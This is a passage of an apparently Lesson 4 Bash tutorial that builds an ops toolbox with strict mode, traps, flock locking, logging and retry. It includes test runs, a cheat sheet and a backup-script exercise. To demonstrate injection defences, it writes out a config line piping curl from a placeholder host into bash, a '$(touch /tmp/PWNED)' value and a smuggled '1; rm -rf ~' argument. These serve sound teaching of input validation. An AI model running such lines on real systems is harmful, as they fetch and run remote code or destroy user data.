printf '%s%s%s\n' "$color" "$line" "$reset" >&2 # write the whole line at once
if [[ -n ${OPSCTL_LOG_FILE-} ]]; then
printf '%s\n' "$line" >>"$OPSCTL_LOG_FILE" || true # the file never contains color
fi
return 0
}
log::debug() { log::_emit debug "$@"; }
log::info() { log::_emit info "$@"; }
log::warn() { log::_emit warn "$@"; }
log::error() { log::_emit error "$@"; }cat >> ~/bashlab/opsctl/lib/util.sh <<'OPSCTL_EOF'
# ======================= added in v0.2 (Lesson 4) =======================
readonly EX_OK=0 EX_ERR=1 EX_USAGE=2 EX_DEP=3
# ---------- trap: ERR reporting + unified EXIT cleanup + signal-to-exit ----------
declare -ga _UTIL_CLEANUP=() # paths to delete on exit (registered by util::cleanup_add)
util::_on_err() {
local rc=$? i n=${#FUNCNAME[@]} fn
(( BASH_SUBSHELL == 0 )) || return "$rc" # failures in a subshell / command substitution are reported by the parent shell
[[ $BASH_COMMAND == return* ]] && return "$rc" # an explicit return N is an expected failure, handled by the caller
log::error "command failed (exit $rc): $BASH_COMMAND"
for (( i = 1; i < n; i++ )); do
fn=${FUNCNAME[i]}
(( i == n - 1 )) && fn='<script>' # the bottom "main" of the stack is the script top level
log::error " at $fn (${BASH_SOURCE[i]##*/}:${BASH_LINENO[i-1]})"
done
return "$rc"
}
util::_on_exit() {
local rc=$? p
trap - EXIT
for p in "${_UTIL_CLEANUP[@]}"; do
# only delete registered paths; empty strings and / are always skipped
[[ -n $p && $p != / && -e $p ]] && rm -rf -- "$p"
done
(( rc == 0 )) || log::debug "exit $rc, cleanup done"
exit "$rc"
}
util::_on_signal() { # util::_on_signal <SIG> <exit_code>: log, then exit with 128+N; EXIT handles cleanup
log::warn "caught SIG$1, cleaning up"
exit "$2"
}
util::setup_traps() { # should only be called once, by the entry script; library functions use util::cleanup_add
trap 'util::_on_err' ERR
trap 'util::_on_exit' EXIT
trap 'util::_on_signal INT 130' INT
trap 'util::_on_signal TERM 143' TERM
trap 'util::_on_signal HUP 129' HUP
}
util::cleanup_add() { # util::cleanup_add <path>...
_UTIL_CLEANUP+=("$@")
}
util::mktemp_dir() { # util::mktemp_dir <var_name>: private temp directory (700), deleted on exit
util::is_identifier "$1" || { log::error "util::mktemp_dir: bad variable name '$1'"; return 2; }
local __d
__d=$(mktemp -d "${TMPDIR:-/tmp}/opsctl.XXXXXXXX") || util::die "cannot create temp dir"
util::cleanup_add "$__d"
printf -v "$1" '%s' "$__d"
}
# ---------- lock: flock, released automatically when the fd closes, lock file kept permanently ----------
util::lock() { # util::lock <name> [wait_seconds=0]
local name=$1 wait=${2:-0}
local dir=${OPSCTL_LOCK_DIR:-$OPSCTL_HOME/var/lock}
local file=$dir/$name.lock
util::require_cmd flock
mkdir -p -- "$dir"
exec {_UTIL_LOCK_FD}>>"$file"
if (( wait > 0 )); then
flock -w "$wait" "$_UTIL_LOCK_FD" || util::die "lock busy after ${wait}s: $file (another opsctl running?)"
else
flock -n "$_UTIL_LOCK_FD" || util::die "lock busy: $file (another opsctl running?)"
fi
log::debug "lock acquired: $file (fd $_UTIL_LOCK_FD)"
}
# ---------- retry: exponential backoff + full jitter ----------
# util::retry <tries> <delay> <cmd> [args...]
# after the n-th failure, wait random(0, min(RETRY_MAX_DELAY, delay * 2^(n-1))) seconds
# exit codes 2 / 126 / 127 are non-retryable; an optional "--" is ignored
util::retry() {
local tries=$1 base=$2; shift 2
[[ ${1-} == -- ]] && shift
local attempt=1 rc cap=${RETRY_MAX_DELAY:-30} delay ms pause
while true; do
if "$@"; then
(( attempt == 1 )) || log::info "attempt $attempt succeeded: $*"
return 0
else
rc=$?
fi
case $rc in
2|126|127) log::error "not retrying (exit $rc): $*"; return "$rc" ;;
esac
if (( attempt >= tries )); then
log::error "giving up after $tries attempts (exit $rc): $*"
return "$rc"
fi
delay=$(( base * (1 << (attempt - 1)) ))
(( delay > cap )) && delay=$cap
ms=$(( ( (RANDOM << 15) | RANDOM ) % (delay * 1000 + 1) )) # full jitter
printf -v pause '%d.%03d' $(( ms / 1000 )) $(( ms % 1000 ))
log::warn "attempt $attempt/$tries failed (exit $rc), retrying in ${pause}s"
sleep "$pause"
(( ++attempt ))
done
}
OPSCTL_EOF
Note util::_on_err in (( i == n - 1 )) && fn=… is not the last line of a function, so a failure there does not affect the return value; util::_on_exit in (( rc == 0 )) || log::debug … is followed by exit "$rc". For every “short-circuit” form, confirm that it is not the last command of a function (Module 1, scenario s11). util::mktemp_dir Following v0.1 util::csv_split approach: first util::is_identifier validate the variable name, then printf -v write it back.
# shellcheck shell=bash
# opsctl-summary: export servers.csv atomically (export servers --out FILE [--env ENV])
# lib/cmd_export.sh —— v0.2: allowlist validation → flock → same-directory mktemp → generate → skip if unchanged → atomic mv
export::usage() {
cat <<EOF
Usage: ${OPSCTL_PROG:-opsctl} export servers --out FILE [options]
Write the header plus matching rows of <data_dir>/servers.csv to FILE.
FILE is replaced atomically; if the content is unchanged it is not rewritten.
Options:
--out FILE destination file (its directory must already exist)
-e, --env ENV dev | staging | prod | all (default: from config, else dev)
-h, --help show this help
EOF
}
cmd::export() {
case ${1-} in
servers) shift ;;
-h|--help|help) export::usage; return 0 ;;
"") export::usage >&2; return 2 ;;
*) util::usage_error "unknown export target: '$1'" ;;
esac
local out="" env src data_dir
while (( $# )); do
case $1 in
--out|-e|--env)
[[ $# -ge 2 && -n $2 ]] || util::usage_error "option '$1' requires an argument"
if [[ $1 == --out ]]; then out=$2; else config::set_flag env "$2"; fi
shift 2 ;;
--out=*) out=${1#*=}; shift ;;
--env=*) config::set_flag env "${1#*=}"; shift ;;
-h|--help) export::usage; return 0 ;;
*) util::usage_error "unknown option for 'export servers': $1" ;;
esac
done
[[ -n $out ]] || util::usage_error "missing required option --out FILE"
config::get env env src || return 1
util::in_list "$env" dev staging prod all \
|| util::usage_error "invalid env '$env' (from $src); expected dev|staging|prod|all"
config::get data_dir data_dir || return 1
local file=$data_dir/servers.csv
[[ -r $file ]] || util::die "cannot read $file (run ~/bashlab/make-data.sh first?)"
util::lock export 10 # only one export at a time (Module 4)
local tmp rows
tmp=$(mktemp "$(dirname -- "$out")/.${out##*/}.XXXXXX") # same directory → mv is an atomic rename (Module 3)
util::cleanup_add "$tmp" # midway failure / signal: EXIT trap deletes it; after mv it no longer exists
log::info "exporting servers (env=$env) -> $out"
awk -F, -v env="$env" 'NR == 1 || env == "all" || $2 == env' "$file" >"$tmp"
rows=$(( $(wc -l <"$tmp") - 1 ))
(( rows > 0 )) || util::die "no servers matched env=$env; $out left unchanged"
if [[ -f $out ]] && cmp -s -- "$tmp" "$out"; then
log::info "unchanged, not rewriting $out" # idempotent (Module 4)
return 0
fi
chmod 0644 -- "$tmp"
mv -f -- "$tmp" "$out"
log::info "wrote $rows row(s) to $out"
}
# shellcheck shell=bash
# opsctl-summary: check bash version, dependencies, data and lock dirs (read-only)
# lib/cmd_doctor.sh —— v0.2: collect all problems and then return together, rather than exiting at the first one
cmd::doctor() {
case ${1-} in
-h|--help|help) printf 'Usage: %s doctor\n\nCheck the environment; exit 3 if anything is missing.\n' "${OPSCTL_PROG:-opsctl}"; return 0 ;;
"") ;;
*) util::usage_error "unexpected argument: $1" ;;
esac
local problems=0 c data_dir lockdir
log::info "opsctl $OPSCTL_VERSION at $OPSCTL_HOME, bash $BASH_VERSION"
for c in awk mktemp flock timeout; do
if command -v -- "$c" >/dev/null; then
log::info "ok: $c"
else
log::error "missing: $c"; problems=$(( problems + 1 ))
fi
done
config::get data_dir data_dir || return 1
if [[ -r $data_dir/servers.csv ]]; then
log::info "ok: $data_dir/servers.csv"
else
log::error "not readable: $data_dir/servers.csv"; problems=$(( problems + 1 ))
fi
lockdir=${OPSCTL_LOCK_DIR:-$OPSCTL_HOME/var/lock}
mkdir -p -- "$lockdir" # idempotent: no error if it already exists
if [[ -w $lockdir ]]; then
log::info "ok: lock dir $lockdir"
else
log::error "not writable: $lockdir"; problems=$(( problems + 1 ))
fi
(( problems == 0 )) || util::die "$problems problem(s) found" 3
log::info "all checks passed"
}
doctor uses problems=$(( problems + 1 )) to collect all problems instead of exiting at the first failure — this is a typical case where relying on set -e is unsuitable (Module 1, When). test/flaky.sh Seethe Module 6 lab. export deliberately does not check in advance whether the output directory exists, so you see the ERR report at Step 7; production code can check first and then util::die.
util::setup_traps; and one added line in usage documenting environment variables):
#!/usr/bin/env bash
# opsctl —— entry point of the ~/bashlab ops toolbox (v0.2, Lesson 4: strict mode + trap + lock + logging + retry)
# usage: opsctl [global options] <subcommand> [subcommand options]
# shellcheck source-path=SCRIPTDIR/..
# exit codes: 0 success · 1 general error · 2 usage error · 3 missing dependency
# 0) interpreter check: written as two statements; dash/sh exits at the first one and never parses (( ))
if [ -z "${BASH_VERSION-}" ]; then echo "opsctl: please run with bash, not sh" >&2; exit 3; fi
if (( BASH_VERSINFO[0] < 4 || (BASH_VERSINFO[0] == 4 && BASH_VERSINFO[1] < 4) )); then
echo "opsctl: bash >= 4.4 required (found $BASH_VERSION); on macOS: brew install bash" >&2
exit 3
fi
if shopt -qo posix; then # on systems where sh is bash, running sh opsctl enters POSIX mode
echo "opsctl: run as 'bash opsctl' or './opsctl', not in POSIX mode" >&2
exit 3
fi
# v0.2: strict mode (Lesson 4, Module 1). Placed after the version check so older Bash gets a clear message first
set -Eeuo pipefail
shopt -s inherit_errexit # Bash >= 4.4: command substitutions also obey set -e
# v0.2: when running as root, do not trust the caller's PATH (Module 7)
if (( EUID == 0 )); then
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
fi
# 1) locate the install directory (resolve symlinks, so ln -s to ~/.local/bin works)
OPSCTL_HOME=$(cd -- "$(dirname -- "$(readlink -f -- "${BASH_SOURCE[0]}")")/.." && pwd) || exit 1
readonly OPSCTL_HOME
readonly OPSCTL_VERSION="0.2.0"
OPSCTL_PROG=${0##*/}
readonly OPSCTL_PROG
# 2) load libraries (order matters: util uses log, config uses util and log)
# shellcheck source=lib/log.sh
source "$OPSCTL_HOME/lib/log.sh" || exit 1
# shellcheck source=lib/util.sh
source "$OPSCTL_HOME/lib/util.sh" || exit 1
# shellcheck source=lib/config.sh
source "$OPSCTL_HOME/lib/config.sh" || exit 1
opsctl::list_commands() { # scan lib/cmd_*.sh for the "# opsctl-summary:" comment
local f name line summary
for f in "$OPSCTL_HOME"/lib/cmd_*.sh; do
[[ -e $f ]] || continue
name=${f##*/cmd_}
name=${name%.sh}
summary=""
while IFS= read -r line; do
if [[ $line == '# opsctl-summary: '* ]]; then summary=${line#'# opsctl-summary: '}; break; fi
done < "$f"
printf ' %-16s %s\n' "$name" "$summary"
done
}
opsctl::usage() {
cat <<EOF
$OPSCTL_PROG $OPSCTL_VERSION - ops toolbox for ~/bashlab
Usage: $OPSCTL_PROG [global options] <command> [command options]
Global options:
-c, --config FILE config file (default: \$OPSCTL_HOME/etc/opsctl.conf)
-v, --verbose debug logging (same as OPSCTL_LOG_LEVEL=debug)
-h, --help show this help
-V, --version show version
Commands:
$(opsctl::list_commands)
help [COMMAND] show help for a command
Precedence: flags > environment (OPSCTL_*) > config file > defaults
Runtime env: OPSCTL_LOG_FILE, OPSCTL_LOCK_DIR, RETRY_MAX_DELAY, NO_COLOR
Exit codes: 0 ok, 1 error, 2 usage error, 3 missing dependency
EOF
}
opsctl::load_command() { # opsctl::load_command <name>: source lib/cmd_<name>.sh
local name=$1 file
[[ $name =~ ^[a-z][a-z0-9_]*$ ]] || return 1 # reject path injection such as ../
file=$OPSCTL_HOME/lib/cmd_$name.sh
[[ -r $file ]] || return 1
# shellcheck source=/dev/null
source "$file" || return 1
declare -F "cmd::$name" >/dev/null # the file must define cmd::<name>
}
opsctl::main() {
util::setup_traps # v0.2: ERR reporting, EXIT cleanup, INT/TERM/HUP
local config_flag=""
while (( $# )); do # only parse global options before the subcommand
case $1 in
-c|--config)
[[ $# -ge 2 && -n $2 ]] || util::usage_error "option '$1' requires an argument"
config_flag=$2; shift 2 ;;
--config=*) config_flag=${1#*=}; shift ;;
-v|--verbose) config::set_flag log_level debug; shift ;;
-h|--help) opsctl::usage; return 0 ;;
-V|--version) printf '%s %s\n' "$OPSCTL_PROG" "$OPSCTL_VERSION"; return 0 ;;
--) shift; break ;;
-*) util::usage_error "unknown global option: $1" ;;
*) break ;;
esac
done
config::init "$config_flag" || return 1
local cmd=${1-}
case $cmd in
"")
opsctl::usage >&2
return 2 ;;
help)
shift
if (( $# == 0 )); then opsctl::usage; return 0; fi
opsctl::load_command "$1" || util::usage_error "unknown command: $1"
"cmd::$1" --help
return ;;
version)
printf '%s %s\n' "$OPSCTL_PROG" "$OPSCTL_VERSION"
return 0 ;;
esac
shift
opsctl::load_command "$cmd" || util::usage_error "unknown command: $cmd"
log::debug "dispatch: cmd::$cmd $*"
"cmd::$cmd" "$@"
}
opsctl::main "$@"
cd ~/bashlab/opsctl && chmod +x bin/opsctl test/flaky.sh && mkdir -p var/lock && export NO_COLOR=1 git diff --stat v0.1.0 2>/dev/null bin/opsctl -V bin/opsctl --help | sed -n '/^Commands:/,/^ help/p' bin/opsctl 2>/dev/null; echo "rc=$?" bin/opsctl bogus; echo "rc=$?" bin/opsctl servers list --env prod | wc -l
opsctl 0.2.0 Commands: config show effective configuration and where each value came from doctor check bash version, dependencies, data and lock dirs (read-only) export export servers.csv atomically (export servers --out FILE [--env ENV]) servers query the server inventory (servers list --env ENV) help [COMMAND] show help for a command rc=2 2026-11-17T02:37:38-0500 ERROR opsctl[266]: unknown command: bogus Try 'opsctl --help' for more information. rc=2 4
With no arguments, v0.1's return 2 did not trigger a call stack (util::_on_err skipping the explicit return); wc -l is 4 = header + 3 data lines; the logs did not mix into stdout.
bin/opsctl doctor; echo "rc=$?"
2026-11-17T02:37:38-0500 INFO opsctl[284]: opsctl 0.2.0 at ~/bashlab/opsctl, bash 5.2.37(1)-release 2026-11-17T02:37:38-0500 INFO opsctl[284]: ok: awk 2026-11-17T02:37:38-0500 INFO opsctl[284]: ok: mktemp 2026-11-17T02:37:38-0500 ERROR opsctl[284]: missing: flock 2026-11-17T02:37:38-0500 INFO opsctl[284]: ok: timeout 2026-11-17T02:37:38-0500 INFO opsctl[284]: ok: ~/bashlab/data/servers.csv 2026-11-17T02:37:38-0500 INFO opsctl[284]: ok: lock dir ~/bashlab/opsctl/var/lock 2026-11-17T02:37:38-0500 ERROR opsctl[284]: 1 problem(s) found rc=3
On Linux with util-linux installed you will see ok: flock and all checks passed, exit code 0; in that case running export will not show the following missing required command(s): flock (exit code 3).
bin/opsctl export servers --out ~/bashlab/prod.csv --env prod; echo "rc=$?" bin/opsctl export servers --out ~/bashlab/prod.csv --env prod; echo "rc=$?" bin/opsctl -v export servers --out ~/bashlab/all.csv --env all; echo "rc=$?" bin/opsctl export servers --out x.csv --env qa; echo "rc=$?" ls -A var/lock
2026-11-17T02:37:38-0500 INFO opsctl[293]: exporting servers (env=prod) -> ~/bashlab/prod.csv 2026-11-17T02:37:39-0500 INFO opsctl[293]: wrote 3 row(s) to ~/bashlab/prod.csv rc=0 2026-11-17T02:37:39-0500 INFO opsctl[308]: exporting servers (env=prod) -> ~/bashlab/prod.csv 2026-11-17T02:37:39-0500 INFO opsctl[308]: unchanged, not rewriting ~/bashlab/prod.csv rc=0 2026-11-17T02:37:39-0500 DEBUG opsctl[323]: config file: ~/bashlab/opsctl/etc/opsctl.conf 2026-11-17T02:37:39-0500 DEBUG opsctl[323]: dispatch: cmd::export servers --out ~/bashlab/all.csv --env all 2026-11-17T02:37:39-0500 DEBUG opsctl[323]: lock acquired: ~/bashlab/opsctl/var/lock/export.lock (fd 10) 2026-11-17T02:37:39-0500 INFO opsctl[323]: exporting servers (env=all) -> ~/bashlab/all.csv 2026-11-17T02:37:39-0500 INFO opsctl[323]: wrote 5 row(s) to ~/bashlab/all.csv rc=0 2026-11-17T02:37:39-0500 ERROR opsctl[338]: invalid env 'qa' (from flag); expected dev|staging|prod|all Try 'opsctl --help' for more information. rc=2 export.lock
bin/opsctl export servers --out ~/bashlab/nope/prod.csv --env prod; echo "rc=$?"
mktemp: failed to create file via template '~/bashlab/nope/.prod.csv.XXXXXX': No such file or directory
2026-11-17T02:37:40-0500 ERROR opsctl[346]: command failed (exit 1): tmp=$(mktemp "$(dirname -- "$out")/.${out##*/}.XXXXXX")
2026-11-17T02:37:40-0500 ERROR opsctl[346]: at cmd::export (cmd_export.sh:51)
2026-11-17T02:37:40-0500 ERROR opsctl[346]: at opsctl::main (opsctl:126)
2026-11-17T02:37:40-0500 ERROR opsctl[346]: at <script> (opsctl:129)
rc=1
printed only once (BASH_SUBSHELL the check skipped the ERR inside the command substitution). If you comment out that line and run again, you will see two nearly identical reports — compare with the troubleshooting entry in Module 2.
config::load_file already blocks this):
printf 'env = $(touch /tmp/PWNED)\ncurl http://example.invalid | bash\n' > ~/bashlab/evil.conf bin/opsctl -c ~/bashlab/evil.conf servers list; echo "rc=$?"; ls /tmp/PWNED 2>/dev/null || echo "no PWNED"
2026-11-17T02:37:40-0500 ERROR opsctl[356]: ~/bashlab/evil.conf:2: invalid line: curl http://example.invalid | bash rc=1 no PWNED
Line 1 is treated as a plain string (not executed), line 2 has an invalid format, and config loading fails with exit code 1. If the config file source is sourced, both lines would be executed (Module 7).
OPSCTL_LOG_FILE=~/bashlab/opsctl.log bin/opsctl export servers --out ~/bashlab/prod.csv --env prod 2>/dev/null cat ~/bashlab/opsctl.log bash -c '. lib/log.sh; . lib/util.sh; util::retry 5 1 ./test/flaky.sh 2'; echo "rc=$?"
2026-11-17T02:37:40-0500 INFO opsctl[361]: exporting servers (env=prod) -> ~/bashlab/prod.csv 2026-11-17T02:37:40-0500 INFO opsctl[361]: unchanged, not rewriting ~/bashlab/prod.csv flaky: call 1 -> fail 2026-11-17T02:37:40-0500 WARN opsctl[377]: attempt 1/5 failed (exit 1), retrying in 0.131s flaky: call 2 -> fail 2026-11-17T02:37:41-0500 WARN opsctl[377]: attempt 2/5 failed (exit 1), retrying in 0.815s flaky: call 3 -> ok 2026-11-17T02:37:42-0500 INFO opsctl[377]: attempt 3 succeeded: ./test/flaky.sh 2 rc=0
# terminal 1: hold the export lock manually for 30 seconds (flock's “wrap a command” form) flock ~/bashlab/opsctl/var/lock/export.lock sleep 30 # terminal 2: export waits 10 seconds, then gives up time ~/bashlab/opsctl/bin/opsctl export servers --out ~/bashlab/prod.csv; echo "rc=$?"
2026-11-17T10:40:12+0000 ERROR opsctl[52011]: lock busy after 10s: /home/you/bashlab/opsctl/var/lock/export.lock (another opsctl running?) real 0m10.02s rc=1
# signal cleanup: simulate a long task with the library function, then send TERM bash -c '. ~/bashlab/opsctl/lib/log.sh; . ~/bashlab/opsctl/lib/util.sh util::setup_traps; util::mktemp_dir d; echo "$d" > ~/bashlab/dpath; sleep 20 & wait $!' & p=$! sleep 1; kill -TERM $p; wait $p; echo "rc=$?" d=$(cat ~/bashlab/dpath); [[ -e $d ]] && echo "left $d" || echo "cleaned $d"
2026-11-17T02:37:47-0500 WARN opsctl[407]: caught SIGTERM, cleaning up rc=143 cleaned $TMPDIR/opsctl.EmG1UZf3
Because sleep 20 & wait $!, TERM is handled within 1 second (Module 2); if changed to foreground sleep 20 it waits 20 seconds. After exit the background sleep still runs to completion; production code should terminate it during cleanup.
rm -f -- ~/bashlab/evil.conf ~/bashlab/dpath ~/bashlab/prod.csv ~/bashlab/all.csv ~/bashlab/opsctl.log cd ~/bashlab/opsctl && printf 'var/\n' >> .gitignore git add -A && git commit -m "opsctl v0.2: strict mode, traps, lock, logging, retry" && git tag v0.2.0
var/ (lock files, flaky counters) are runtime state and are not committed to the repository. Keep ~/bashlab/opsctl— Lesson 5 builds on it by adding logs report.
Problem: The team has 40 ops scripts, each with a copy-pasted and differently versioned log function; some scripts print nothing when they fail. Fix: Extract, the opsctl way, lib/log.sh,lib/util.sh, with a unified entry point set -Eeuo pipefail + util::setup_traps; when migrating script by script, first run each one and fix the problems strict mode exposes (mostly unset variables and grep no-match cases). Limitation: Old and new behavior differ during migration, so regression testing in a test environment is needed (Lesson 7 bats).
Problem: Monitoring only alerts on “non-zero”; missing dependency (3) and runtime failure (1) are mixed together, so on-call staff cannot tell an environment problem from a business problem. Fix: Keep the 0/1/2/3 convention; classify alert rules by exit code; treat lock conflicts in cron as skips.
Problem: A new machine lacked flock, and this was only discovered when the first scheduled job failed. Fix: Run immediately after deployment opsctl doctor, a non-zero result fails the deployment (Lesson 7 puts it into CI).
Start from the symptom, answer the questions step by step, and get the diagnosis and fix commands.
Cause: macOS ships with Bash; v0.2 requires inherit_errexit (4.4). Fix:brew install bash, confirm #!/usr/bin/env bash finds the new version (type -a bash).
Cause: v0.2 enables set -u. Fix: For optional variables, use ${x-} / ${x:-default}, and for required ones use ${x:?explanation}; configuration values always go through config::get.
Cause: the function ends with return 1 —util::_on_err deliberately does not report explicit return; or the failure occurred in an if / || condition and was swallowed.
bash -x ~/bashlab/opsctl/bin/opsctl servers list --env dev 2>&1 | tail -15
Fix: Use for expected failures util::die "reason" to log; for unexpected failures let the command fail on its own (ERR will report it).
Cause: export requires util-linux's flock. Fix: See the Module 4 troubleshooting; opsctl doctor list all missing items at once.
OPSCTL_LOG_FILE=~/bashlab/log/opsctl.log ~/bashlab/opsctl/bin/opsctl -v export servers --out ~/bashlab/prod.csv
version_check What needs to change?# only create lib/cmd_version_check.sh: # write "# opsctl-summary: …" on line 2, and define cmd::version_check (supports -h/--help) # bin/opsctl needs no change: opsctl::list_commands / load_command discover it automatically; exit codes follow 0/1/2/3
util::usage_error to return 2.” Do you agree?I disagree. Usage errors are expected failures; they should print one clear error line and “Try --help”, and exit with 2; a call stack would only confuse users. exit They do not trigger ERR, which cleanly separates “expected” from “unexpected”. Also, return 2 is swallowed when called in a conditional context, so it is less reliable than exit ; v0.2's ERR handling also deliberately skips explicit return.
#!/usr/bin/env bash set -Eeuo pipefail shopt -s inherit_errexit # Bash ≥ 4.4 trap 'on_err' ERR # report trap 'on_exit' EXIT # cleanup (the single exit point) trap 'exit 130' INT trap 'exit 143' TERM
while/until conditions · if/elif tests && / || commands other than the last one pipeline commands other than the last (affected by pipefail) commands negated with ! function bodies / inside compound commands called in the contexts above local/declare/export x=$(cmd) — swallows the exit code echo "$(cmd)" — command substitution does not inherit -e by default
local x; x=$(cmd) # does not swallow the exit code
((++i)) # instead of ((i++))
grep -q pat file || true # when no match is acceptable
f() { if [[ -n $x ]]; then …; fi; } # do not end with &&
cmd || return # critical steps inside a function
"${arr[@]}" # Bash ≥ 4.4 empty-array safe
${1:?usage: …} ${v:-default} [[ -v name ]]set -o pipefail
a | b | c; ps=("${PIPESTATUS[@]}") # copy immediately
seq 1 1e6 | awk 'NR==1' # avoid the 141 caused by head
out=$(producer); grep -q x <<<"$out"trap -p # view
trap - EXIT # restore default (at the start of an EXIT handler)
trap '' INT # ignore (inherited by child processes)
set -E # ERR enters functions / subshells
set -T # DEBUG/RETURN enters functions
sleep 60 & wait $! # let the trap run promptly
on_err(){ echo "$? $BASH_COMMAND ${FUNCNAME[1]}:${BASH_LINENO[0]}" >&2; }d=$(mktemp -d "${TMPDIR:-/tmp}/job.XXXXXXXX")
trap 'rm -rf -- "${d:?}"' EXIT
t=$(mktemp "$(dirname -- "$out")/.${out##*/}.XXXXXX")
gen >"$t" && chmod 0644 -- "$t" && mv -f -- "$t" "$out"flock -n -E 75 /run/lock/job.lock job.sh # cron
exec {fd}>>"$lock"; flock -n "$fd" || exit 1 # inside the script
flock -w 10 "$fd" # wait at most 10 seconds
worker {fd}>&- & # child processes do not inherit the lock
lslocks | grep job.lock # who holds itprintf -v ts '%(%Y-%m-%dT%H:%M:%S%z)T' -1
printf '%s %-5s %s[%d]: %s\n' "$ts" WARN "${0##*/}" $$ "msg" >&2
[[ -t 2 && -z ${NO_COLOR:-} ]] && color=1
logger -t opsctl -p user.err "msg"; journalctl -t opsctlutil::retry 5 1 timeout -k 5 10 curl -fsS "$url" delay=$(( base * (1 << (n-1)) )); (( delay > cap )) && delay=$cap sleep $(( RANDOM % (delay + 1) )) # full jitter (whole-second version) # timeout exit codes: 124 timed out · 125 timeout itself failed · 126 not executable · 127 not found · 137 KILL export -f f; timeout 10 bash -c f # add a timeout to a function
rm -- "$f"; cat -- *; for f in ./*; do …; done
find . -type f -print0 | while IFS= read -r -d '' f; do …; done
find . -name '*.tmp' -exec rm -f -- {} +
[[ $n =~ ^[0-9]+$ ]] || exit 2 # validate before entering arithmetic
[[ $env =~ ^(dev|staging|prod)$ ]] # allowlist
printf -v q '%q' "$x"; ssh h "cmd $q" # escape across shells
printf -v "$name" '%s' "$val" # replaces eval
(( EUID == 0 )) && PATH=/usr/sbin:/usr/bin:/sbin:/bin| Code | Meaning | Code | Meaning |
|---|---|---|---|
| 0 | Success | 124 | timeout expired |
| 1 | general error (opsctl convention) | 126 | command found but not executable |
| 2 | usage error (opsctl convention; Bash builtin usage errors are also 2) | 127 | command not found |
| 3 | missing dependency (opsctl convention) | 128+N | terminated by signal N: 130 INT, 137 KILL, 141 PIPE, 143 TERM |
~/bashlab/ch04/ , rewrite it as backup-safe.sh, reusing opsctl v0.2's lib/log.sh and lib/util.sh.#!/bin/bash cd ~/bashlab/backups tar czf data-$(date +%F).tgz ~/bashlab/data cp data-$(date +%F).tgz ~/bashlab/remote/ ls -t | tail -n +4 | xargs rm -f echo "backup ok"
cd When a failure occurs (the directory does not exist), the following ls | xargs rm runs in the current directory— deleting files in the wrong directory (Modules 1, 7).ls -t | tail | xargs rm will delete any file in the directory (not just backups), and filenames containing spaces or newlines are split incorrectly (Module 7).date is called twice, so across midnight the filenames are inconsistent,cp and files cannot be found (compute the same value only once).mkdir -p ~/bashlab/backups ~/bashlab/remote ~/bashlab/ch04 ls ~/bashlab/data ~/bashlab/opsctl/lib # needs Lesson 1 data and this lesson's opsctl v0.2
#!/usr/bin/env bash
# backup-safe.sh [keep count] —— defensive backup: lock + temp file + validation + atomic replace + safe rotation + retried “upload”
set -Eeuo pipefail
shopt -s inherit_errexit nullglob
OPSCTL_HOME="$HOME/bashlab/opsctl"
OPSCTL_PROG=backup
. "$OPSCTL_HOME/lib/log.sh"
. "$OPSCTL_HOME/lib/util.sh"
util::setup_traps
keep=${1:-3}
[[ $keep =~ ^[1-9][0-9]*$ ]] || util::die "keep count must be a positive integer: $keep" "$EX_USAGE"
src="$HOME/bashlab/data"
dest="$HOME/bashlab/backups"
remote="$HOME/bashlab/remote" # simulate remote storage with a local directory
util::require_cmd tar flock timeout
mkdir -p -- "$dest" "$remote"
util::lock backup 0 # give up immediately if a backup is already running
name="data-$(printf '%(%Y%m%d-%H%M%S)T' -1).tgz"
tmp=$(mktemp "$dest/.${name}.XXXXXX")
util::cleanup_add "$tmp"
log::info "packing $src → $dest/$name"
timeout 300 tar -czf "$tmp" -C "$src" .
tar -tzf "$tmp" >/dev/null || util::die "archive validation failed: $tmp"
chmod 0640 -- "$tmp"
mv -f -- "$tmp" "$dest/$name"
upload() { timeout 30 cp -- "$1" "$2/"; }
util::retry 4 1 upload "$dest/$name" "$remote"
log::info "uploaded to $remote/$name"
# rotation: only handle files matching the naming pattern, sorted by name (i.e. by time), keep the newest $keep
files=("$dest"/data-*.tgz)
if (( ${#files[@]} > keep )); then
for old in "${files[@]:0:${#files[@]}-keep}"; do
log::info "deleting old backup ${old##*/}"
rm -f -- "$old"
done
fi
log::info "done: keeping $(( ${#files[@]} > keep ? keep : ${#files[@]} )) of the current ${#files[@]} backups"
Key points: glob results are sorted alphabetically, and the timestamp format in the filenames YYYYmmdd-HHMMSS makes alphabetical order equal time order; nullglob ensures the array is empty when there are no backups; .data-…tgz.XXXXXX starts with a dot, so it will not be matched by data-*.tgz ; upload the function has only one command, so in util::retry a conditional context set -e being disabled makes no difference.
cd ~/bashlab/ch04 for i in 1 2 3 4; do bash backup-safe.sh 3; echo "rc=$?"; sleep 1; done ls -A ~/bashlab/backups
2026-11-17T02:45:13-0500 INFO backup[1821]: packing ~/bashlab/data → ~/bashlab/backups/data-20261117-024513.tgz 2026-11-17T02:45:13-0500 INFO backup[1821]: uploaded to ~/bashlab/remote/data-20261117-024513.tgz 2026-11-17T02:45:13-0500 INFO backup[1821]: done: keeping 1 of the current 1 backups rc=0 …(runs 2 and 3 are similar)… 2026-11-17T02:45:17-0500 INFO backup[1875]: packing ~/bashlab/data → ~/bashlab/backups/data-20261117-024517.tgz 2026-11-17T02:45:18-0500 INFO backup[1875]: uploaded to ~/bashlab/remote/data-20261117-024517.tgz 2026-11-17T02:45:18-0500 INFO backup[1875]: deleting old backup data-20261117-024513.tgz 2026-11-17T02:45:18-0500 INFO backup[1875]: done: keeping 3 of the current 4 backups rc=0 data-20261117-024514.tgz data-20261117-024516.tgz data-20261117-024517.tgz
bash backup-safe.sh 0; echo "rc=$?" bash backup-safe.sh '1; rm -rf ~'; echo "rc=$?"
2026-11-17T02:45:19-0500 ERROR backup[1895]: keep count must be a positive integer: 0 rc=2 2026-11-17T02:45:19-0500 ERROR backup[1896]: keep count must be a positive integer: 1; rm -rf ~ rc=2
flock ~/bashlab/opsctl/var/lock/backup.lock sleep 20, run backup-safe.sh, it should exit immediately with 1 and print lock busy: …/backup.lock (another opsctl running?).~/bashlab/data to a large directory (or insert sleep 10 & wait $! before tar), run it, send TERM, and confirm ~/bashlab/backups/.data-* there are no leftovers, and existing backups are unchanged.touch ~/bashlab/backups/'README important.txt' After running 4 more times, that file still exists.rm -rf -- ~/bashlab/backups ~/bashlab/remote
